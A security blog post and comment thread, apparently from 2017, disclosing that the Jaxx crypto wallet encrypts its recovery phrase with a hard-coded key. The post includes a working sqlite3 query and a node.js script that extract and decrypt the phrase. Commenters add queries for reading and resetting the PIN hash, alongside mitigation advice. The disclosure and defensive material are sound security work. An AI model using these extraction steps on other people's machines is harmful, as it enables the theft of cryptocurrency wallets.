Extracting the Jaxx 12-word wallet backup phrase.

Updates

Because this matter is still ongoing (Jaxx does not seem to want to fix this vulnerability), I have moved the updates here to the front. The original post is below.

2017-06-20 07:51 UTC

Since the first publication of this post, Jaxx has publically stated several times that storing our wallets unsecurely is not a problem.

If that is indeed the case, why do all other reputable desktop wallets perform this encryption in the correct manner, thus safeguarding our wallets, and only Jaxx does not?

  • Desktop wallets that DO CORRECTLY ENCRYPT your wallet: Exodus, MyEtherWallet, geth, parity, electrum.
  • Desktop wallets that DO NOT CORRECTLY ENCRYPT your wallet: Jaxx.

(Jaxx “encrypts” the wallet seed, but with a hard-coded and easily extracted key, which means this is not encryption but rather obfuscation, which is not much better than no encryption.)

2017-06-13 10:14 UTC

Reader Imed reports in the comments below that the 4-digit user PIN is stored as an unsalted sha256 hash, which can easily be reversed using rainbow tables, for example via sites like CrackStation.

I have just confirmed with a test Jaxx installation that I am able to extract a configured PIN from the local storage database without Jaxx running of course.

2017-06-11 10:08 UTC

Daira Hopwood correctly points out in the comments that encrypting using the PIN would be too easily brute-forced. I have updated the post in two places to indicate that instead Jaxx does in fact need to implement support for a strong password. One can discuss whether to do this differently for the desktop (no sandboxing) than for mobile devices (usually good sandboxing).

2017-06-10 20:19 UTC

Based on this response by the Jaxx CTO on reddit, they are not planning to fix this vulnerability. If that is the case, I strongly recommend that you avoid the Jaxx wallet.

Introduction

I was curious how easy it would be to extract the 12-word wallet backup phrase from a Jaxx cryptocurrency wallet desktop app / chrome extension install.

After an hour or two of analysis, I can conclude that this is unfortunately far too easy.

jaxx-eth-screenie.png
Jaxx Chrome extension Eth UI. Throw-away address, don’t use.

Even when your Jaxx has a security PIN configured, anyone with 20 seconds of (network) access to your PC can extract your 12 word backup phrase and copy it down. Jaxx does not have to be running for this to happen.

With the 12 word backup phrase, they can later restore your wallet, including all of your private keys, on their own computers, and then proceed to transfer away all of your cryptocurrency.

The main problem is that the Jaxx software encrypts the mnemonic using a hard-coded encryption key, instead of making use of a strong user-supplied password. (As Daira Hopwood points out in the comments, using the PIN would not be sufficient.)

This means we can easily read and decrypt the full recovery phrase from local storage using sqlite3 and some straight-forward code.

I successfully tested this vulnerability on the Jaxx Chrome extension v1.2.17 and the Jaxx Linux desktop app 1.2.13.

Demonstration

To test this proof of concept, you will need node.js installed. Ensure that your Jaxx is PIN protected, just for fun. It won’t help.

On Linux or Mac, open the Jaxx local storage file at $HOME/.config/Jaxx/Local\ Storage/file__0.localstorage (on Mac this is /Users/[username]/Library/Application Support/Jaxx/Local Storage/file__0.localstorage, thanks to Manuel in the comments; on Windows this is C:\Users\<Your Computer's User Name>\AppData\Roaming\Jaxx\Local Storage) using the sqlite3 tool.

At the sqlite3 prompt, do the following:

sqlite> select value from ItemTable where key="mnemonic";
ofvoUNhkw+zBN+nvxd1GoL/u1Stn1hyXChD9JvCVkNZgpp19mWY595fbiFjjRPNbw5xxNtzAJGUchr3mImHCsLqSx7aQxcCbo+VrqxBJ5+4=

Note the returned value down. This is Jaxx’s encrypted mnemonic which we shall decrypt into your 12 word backup phrase.

(If the returned string is too short in your case, try sqlitebrowser instead. In my case, sqlite3 works perfectly for the desktop Jaxx, but not the Chrome Jaxx, where I use either the chrome Dev Tools or sqlitebrowser to extract the string.)

Install crypto-js version 3.1.2 by doing either npm install crypto-js@3.1.2 or yarn add crypto-js@3.1.2, and then run the following code using node, after substituting the mnemonicEncrypted variable value with the one you extracted using sqlite3:

// Jaxx recovery phrase extraction by cpbotha@vxlabs.com 2017
// https://vxlabs.com/2017/06/10/extracting-the-jaxx-12-word-wallet-backup-phrase/

// you need v3.1.2 (same as latest jaxx) else you'll get invalid UTF-8 error
var CryptoJS = require('crypto-js');
var _key = "6Le0DgMTAAAAANokdfEial"; //length=22
var _iv  = "mHGFxENnZLbienLyALoi.e"; //length=22

var mnemonicEncrypted="ofvoUNhkw+zBN+nvxd1GoL/u1Stn1hyXChD9JvCVkNZgpp19mWY595fbiFjjRPNbw5xxNtzAJGUchr3mImHCsLqSx7aQxcCbo+VrqxBJ5+4=";

var _keyB;
var _ivB;

// js/vault/vault.js
function decryptSimple(encryptedTxt) {
    // not sure why jaxx does  this inside the function
    _keyB = CryptoJS.enc.Base64.parse(_key);
    _ivB = CryptoJS.enc.Base64.parse(_iv);    
    var decrypted = CryptoJS.AES.decrypt(encryptedTxt, _keyB, { iv: _ivB });
    var decryptedText = decrypted.toString(CryptoJS.enc.Utf8);
    return decryptedText;
}

console.log(decryptSimple(mnemonicEncrypted));

This should print out your 12 word backup phrase, in the case of this dummy setup I’m seeing “snake purity emerge blue subway lab loyal timber depth leg federal work” which is indeed correct.

How can we fix this?

The thing is, Jaxx is unfortunately one of the better cross-platform multi-currency wallets. Although it has a great UI, I personally don’t like Exodus, because they don’t let me manage more than one Ethereum address.

To mitigate the Jaxx security issue discussed here, keep the Jaxx desktop app’s local storage directory on an encrypted filesystem which you only mount when you’re using Jaxx, and unmount directly afterwards. This is what I’m currently doing using encfs.

If you prefer using the Chrome extension, you can try symlinking just the extension’s local storage file as it lives in Chrome’s global Local Storage directory.

Importantly, keep on encouraging Jaxx support to add support for using a strong user-supplied password as part of the encryption key (just like Exodus) with which they encrypt your mnemonic (recovery phrase) and all other sensitive values in local storage. Refer them to this post for more details. (See Daira Hopwood’s comment, using the PIN for encryption is not sufficient.)

45 thoughts on “Extracting the Jaxx 12-word wallet backup phrase.”

  1. While the encryption method is probably the same would this not apply to Android since apps are sandboxed from each other?

    1. On non-rooted Android apps the sandboxing will indeed complicate this.

      However, seeing that I’ve gone to the trouble of configuring a PIN, it would have been nice if Jaxx had further encrypted these crucial details with it. 🙂

  2. Can you be a little more specific on how did you found the decription keys? we need to replicate the research on other wallets.
    BTW, the correct path on mac sierra is /Users/[username]/Library/Application Support/Jaxx/Local Storage/file__0.localstorage

    I find interesting the fact that on their knowledge base they mention “You can recover your wallet from the hard drive via a data retrieval service by locating your Jaxx Local_Storage files.” this means this “backdoor” is intentional for selling a recovering service

      1. I traced the code of the extension using the Chrome developer tools. If that weren’t available, I would have extracted it from the desktop app.

  3. I don’t think encrypting the master seed with the PIN would help. It’s just too low entropy. Assume that you use a good PBKDF so that each trial decryption takes as much work as a user is prepared to tolerate in latency to unlock their wallet. The PIN has at most 10000 possibilities. (In practice some PINs are much more common than others so the guessing entropy is optimistically only around 10 bits or so, and an attacker *will* take advantage of that, but let’s ignore it for the sake of argument.) The work factor (ratio between the attacker’s and user’s cost) can therefore be at most 10000, which means they break the encryption too quickly for it to give the user any more than a false sense of security. Note that it isn’t possible to prevent an attacker from confirming a trial decryption, because they just check the secret keys generated from the decrypted master seed for consistency with known addresses.

    1. Thank you very much for this!

      You are of course completely right, the PIN would not be sufficient, jaxx would really need to add a passphrase to encrypt the backup phrase.

      I will update the main post contents.

  4. I fail to see how is this “network” access. You seem to use the sqlite file which means that the attacker has to have disk access in which case he has compromised your pc anyway.

    Enlighten me if I’m wrong but this seems to be a really low severity issue.

    1. Remember there is no sandboxing on Linux, Windows or Mac. *Any* app running there can access local storage and extract your wallet. This could also happen via SSH for example, or a misconfigured network share.

      Also, the rate at which Windows PCs get hijacked for botnets and ransomware shows how easy it is to compromise systems from the outside. With Jaxx, there is an additional very interesting monetary target. Would be trivial to add to any worms / rootkits, and the wallet can be stolen even if the user hasn’t touched jaxx in months.

      Furthermore, if this is a low severity issue, why do other wallets (exodus, mist, mew, etc.) and other good software such as gnupg employ strong encryption on local assets?

      This is not a low severity issue.

      1. Then your study applies only to the Desktop app, and not to the browser extension. In the security model of browser extensions having a compromised host is out of the scope since the malware can modify the extension itself and “phish” user credentials. As I said before – in that case it’s game over anyway.

        1. No, it applies to both the desktop and chrome extension.

          If the user *ever* used the Chrome extension, could be months ago in an uncompromised state, and that PC gets compromised in any way in the future, their wallet is toast.

          (there is a slight mitigating factor in that deleting the chrome extension also deletes its local storage. uninstalling the app in contrast leaves the local storage lying around.)

          1. Hello and thank you for bringing this up to us users! I have been busting my ass in past days to make amends based on the vulnerability you exposed. I’m not a power user so I need to ask you – I was using the chrome extension (windows 10) but I removed it – when I search the registry or files for “Jaxx” it doesnt find anything. But I’m guessing it is not enough – would you mind revealing what one has to do to fix this? I’m fine having only the android version of the app but I need to get rid off all the traces on my windows desktop where I used the chrome extension. Do I have to delete some folders, reinstall chrome or the whole system? Thank you.

  5. Thank you for the info,

    then if I use the Jaxx app for iOS only(no desktop/macOS app and no browser extension), is it safe from this issue?

  6. I just quit Jaxx because of your post. Now I have everything in a safe offline wallet. Thanks for the information.

  7. Hi, thanks so much for all this. So for anyone that has substantial funds on jaxx and would still like to use it as a cold storage solution, would this process be a way forward?

    1 – erase jaxx app, and all library files + erase chrome extension (this will automatically delete associated locally stored files)

    2 – set up a new OS, say on a bootle external drive, don’t install anything but jaxx, and use the seed phrase to re generate wallet.

    3- in case the previous machine was compromised before this process. Set up a new jaxx wallet with different seed on this new OS, and transfer funds from old wallet to new one.

    At this stage, as long as one has strong encryption on the bootable external drive, and does not use internet connectivity there other than to send from jaxx, then funds should be safe correct?

    Also, would one be able to the above process by just setting up a new user on say OSX, or would a separate OS on external disk be necessary?

    thank you!

  8. First of all, thanks for this great post!

    So, where is the mnemonic phrase exactly stored when using Jaxx on Windows? Is it sufficient to just move the Jaxx folder (unpacked Zip file) to an encrypted container (created with TrueCrypt)?

    Sorry if it seems like a noob question, but I’m thankful for explanation here.

    greetz

    1. Please check the post: For the desktop app on Windows I show you the exact location of the local storage file which contains the mnemonic. It’s not where you unpacked Jaxx. 🙂

      1. I had the same exact question. Where is the data stored, so I can delete it? Sorry, I’m not all that technical but I don’t see ‘the exact location of the local storage file’ you mention. I’m on Windows 10 using desktop Jaxx. Where is the file I need to delete please? Thanks for the info.

  9. Building on your work, I found that the Pin code is stored as a sha256 hash in the same database:
    select value from ItemTable WHERE key LIKE ‘userPin%’;
    this can be very easily reversed as it is a simple 4 digit pin using rainbow tables (https://crackstation.net/).
    This is bad!!

    1. Before I update the post: Are you sure the PIN is not salted with anything before hashing? In other words, have you confirmed that you can easily and successfully extract the correct user-defined PIN using rainbow tables?

        1. More bad news, the Pin code is not used to encrypt the private key at all, the pin is just an authentication mechanism used at the UI level, therefore it can be completely bypassed by just copying the file ‘file__0.localstorage’ into an attacker’s machine and changing the pin code using the sqlite3 client, the proof is that the following query would reset the pin code to 4444 without corrupting the wallet private key:
          UPDATE ItemTable set value=’79f06f8fde333461739f220090a23cb2a79f6d714bee100d0e4b4af249294619′ WHERE key LIKE ‘userPin%’;

          1. That was the whole point of my investigation and post: The wallet mnemonic is encrypted with a hard-coded key+iv, the PIN is not involved. 🙂

            1. I am talking about the private keys, and not the mnemonic. I know that you can get the private keys from the mnemonic, but I think they store the private keys in the database as well as I found too much data there.
              Also, I am not sure about this, but are all the wallets compatible with the mnemonic principle? I know bitcoin and ethereum are, but I don’t know about the rest. And if ethereum and ethereum classic would use the same mnemonic, wouldn’t they and up having the same private key/ public key pair?

    1. The vulnerability has been confirmed by others.

      I think you might be looking in the wrong place. The paths in the post are for the desktop version of Jaxx. For the chrome extension, you should look in ~/.config/google-chrome/Default/Local Storage/chrome-extension_ancbofgphhmhcchnaognahmjfajaecmo_0.localstorage on Linux.

      You can post your apology as a comment when you’re done. 🙂

  10. I also can confirm that this article is real.

    For a quick fix in windows, that makes a bit harder to get hold of the file that we are dealing with, do the following.

    Open explorer en go to %appdata%\Jaxx
    There right click on the Local Storage folder.
    Go to Security tab, click advanced disable inheriting of the folder.
    Remove your own user, and change the owner to administrator.
    Apply and close all properties.
    DO NOT GO IN THE FOLDER ANYMORE.

    Go where JAXX wallet is located go in the jaxx-assets folder right click on Jaxx.exe under compatibility run this program as administrator.

    This way it is not that simple to get hold of the file without admin rights, of-course this only works if the UAC of windows is enabled.

    Hope this helps.

  11. Just alternative view of the problem. Is there any chance to change some Jaxx config to lookup for SQLite storage file not in windows local roaming directory, but out some other path, i.e. to crytped container, which is mount/dismounted upon necesarity?

  12. Yes,
    But hold your Hat for this one.
    Tested and working on Windows 10 Pro.

    You take an USB Drive small or big as long it works with bitlocker.
    Format it as NTFS.
    Assign a drive letter to that a bit higher in the hierarchy of drive letters that are used like the letter Q.
    you can do that in diskmanager.
    Make a directory JAXXConfig on the drive.

    Now go to %appdata%/jaxx.
    Go to the folder Local storage.
    Copy the files in here to your USB drive in the new created folder JAXXConfig.
    Go back on level and delete the Local storage folder.
    Now open an command prompt in administrator you do that with searching cmd in start menu right click on it and run as administrator.

    Type in the command prompt:
    cd %appdata%/jaxx
    Then followed by
    mklink /D “Local Storage” Q:\JAXXConfig

    Now got the File Explorer
    Right click on the Q drive JAXX
    Turn on bitlocker, choose password, select fast, select compatible mode, let the drive be encrypted Store your restore key in a save place, or just delete it as long you have your 12 word backup phrases from JAXX to restore your walled you can always format the drive if you lost your bitlocker password.
    After this you can just take your USB key out when you are done with JAXX and every time you plug it in you have type your bitlocker password to see the data on the USB drive

    Don’t forget to remove the admin rights for JAXX because it is not needed anymore.
    Good luck.

    1. Great description. Thank you very much! Really solves the problem

      p.s. The most stupid thing that they do not support additional wallet files to be opened from the UI.

  13. Thanks for this.
    Perhaps useful to some – using Chromium on linux with the Jaxx extension presents (for me) a different configuration – the extension is stored differently and I’m still looking for it.
    I understand that this is not a solution but does fall under the ambit of “a bit more difficult” than Win machines….

Leave a Reply

Your email address will not be published. Required fields are marked *